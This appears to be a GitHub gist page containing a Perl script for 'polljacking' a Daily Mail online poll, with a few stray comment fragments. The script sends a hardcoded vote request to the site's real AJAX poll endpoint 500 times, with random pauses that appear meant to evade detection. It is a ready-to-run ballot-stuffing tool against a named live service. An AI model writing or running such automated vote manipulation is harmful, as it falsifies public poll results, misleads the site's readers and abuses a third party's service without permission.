Created
September 25, 2011 18:03
-
-
Save davorg/1240907 to your computer and use it in GitHub Desktop.
This appears to be all you need to polljack a Daily Mail poll.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env perl | |
use strict; | |
use warnings; | |
use Data::Dumper; | |
use LWP::UserAgent; | |
$|++; | |
my $url = 'http://www.dailymail.co.uk/dwr/call/plaincall/AjaxPoll.vote.dwr'; | |
my %form = ( | |
callCount => 1, | |
page => '/news/article-2041265/BBC-turns-year-Our-Lord-2-000-years-Christianity-jettisoned-politically-correct-Common-Era.html', | |
httpSessionId => '', | |
scriptSessionId => '7975A59E0CAF39BC81A75CEF76ACF2DA920', | |
'c0-scriptName' => 'AjaxPoll', | |
'c0-methodName' => 'vote', | |
'c0-id' => 0, | |
'c0-param0' => 'string:1028567', | |
'c0-param1' => 'string:1030863', | |
'c0-param2' => 'string:', | |
batchId => 1, | |
); | |
my $resp; | |
my $ua = LWP::UserAgent->new; | |
foreach (1 .. 500) { | |
print "$_ "; | |
$resp = $ua->post($url, \%form); | |
sleep rand 5; | |
} | |
print Dumper $resp; |
Oh, right. Yes. Except that in this case the right answer is "yes".
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I was thinking of it more as "choosing sensible defaults". :-)